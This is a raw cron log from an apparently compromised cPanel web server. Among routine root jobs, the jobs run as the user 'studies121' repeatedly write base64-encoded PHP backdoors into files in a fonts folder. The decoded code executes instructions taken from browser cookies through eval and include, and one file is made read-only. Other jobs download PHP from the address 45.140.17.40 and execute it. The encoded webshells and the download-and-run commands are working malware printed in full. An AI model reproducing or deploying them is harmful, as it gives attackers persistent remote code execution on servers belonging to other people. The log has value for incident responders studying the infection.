Sep 12 00:29:01 ip-184-168-122-23 CROND[28050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:29:01 ip-184-168-122-23 CROND[28051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:29:01 ip-184-168-122-23 CROND[28049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:30:01 ip-184-168-122-23 CROND[28140]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:30:01 ip-184-168-122-23 CROND[28141]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 00:30:01 ip-184-168-122-23 CROND[28143]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 12 00:30:01 ip-184-168-122-23 CROND[28142]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 00:30:01 ip-184-168-122-23 CROND[28146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:30:01 ip-184-168-122-23 CROND[28147]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 00:30:01 ip-184-168-122-23 CROND[28144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:30:01 ip-184-168-122-23 CROND[28148]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:30:01 ip-184-168-122-23 CROND[28155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:31:01 ip-184-168-122-23 CROND[28332]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:31:01 ip-184-168-122-23 CROND[28335]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:31:01 ip-184-168-122-23 CROND[28334]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:31:01 ip-184-168-122-23 CROND[28337]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 00:31:01 ip-184-168-122-23 CROND[28336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:32:01 ip-184-168-122-23 CROND[28431]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:32:01 ip-184-168-122-23 CROND[28434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:32:01 ip-184-168-122-23 CROND[28433]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:32:01 ip-184-168-122-23 CROND[28435]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:32:01 ip-184-168-122-23 CROND[28436]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:33:01 ip-184-168-122-23 CROND[28538]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:33:01 ip-184-168-122-23 CROND[28540]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:33:01 ip-184-168-122-23 CROND[28541]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:33:01 ip-184-168-122-23 CROND[28542]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:34:01 ip-184-168-122-23 CROND[28630]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:34:01 ip-184-168-122-23 CROND[28631]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:34:01 ip-184-168-122-23 CROND[28632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:34:01 ip-184-168-122-23 CROND[28634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:34:01 ip-184-168-122-23 CROND[28635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:35:01 ip-184-168-122-23 CROND[28736]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 12 00:35:01 ip-184-168-122-23 CROND[28740]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 00:35:01 ip-184-168-122-23 CROND[28743]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 00:35:01 ip-184-168-122-23 CROND[28742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:35:01 ip-184-168-122-23 CROND[28741]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 00:35:01 ip-184-168-122-23 CROND[28744]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:35:01 ip-184-168-122-23 CROND[28745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:35:01 ip-184-168-122-23 CROND[28746]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:36:01 ip-184-168-122-23 CROND[28922]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:36:01 ip-184-168-122-23 CROND[28926]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:36:01 ip-184-168-122-23 CROND[28925]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:36:01 ip-184-168-122-23 CROND[28927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:36:01 ip-184-168-122-23 CROND[28924]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:37:01 ip-184-168-122-23 CROND[29021]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:37:01 ip-184-168-122-23 CROND[29020]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:37:01 ip-184-168-122-23 CROND[29022]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:37:01 ip-184-168-122-23 CROND[29023]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:38:01 ip-184-168-122-23 CROND[29104]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:38:01 ip-184-168-122-23 CROND[29106]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:38:01 ip-184-168-122-23 CROND[29107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:38:01 ip-184-168-122-23 CROND[29109]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:38:01 ip-184-168-122-23 CROND[29108]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:39:01 ip-184-168-122-23 CROND[29196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:39:01 ip-184-168-122-23 CROND[29197]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:39:01 ip-184-168-122-23 CROND[29198]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:39:01 ip-184-168-122-23 CROND[29199]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:39:01 ip-184-168-122-23 CROND[29200]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 00:40:01 ip-184-168-122-23 CROND[29291]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 00:40:01 ip-184-168-122-23 CROND[29299]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 00:40:01 ip-184-168-122-23 CROND[29302]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 00:40:01 ip-184-168-122-23 CROND[29303]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 00:40:01 ip-184-168-122-23 CROND[29306]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 00:40:01 ip-184-168-122-23 CROND[29308]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:40:01 ip-184-168-122-23 CROND[29309]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:40:01 ip-184-168-122-23 CROND[29307]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 00:41:01 ip-184-168-122-23 CROND[29498]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
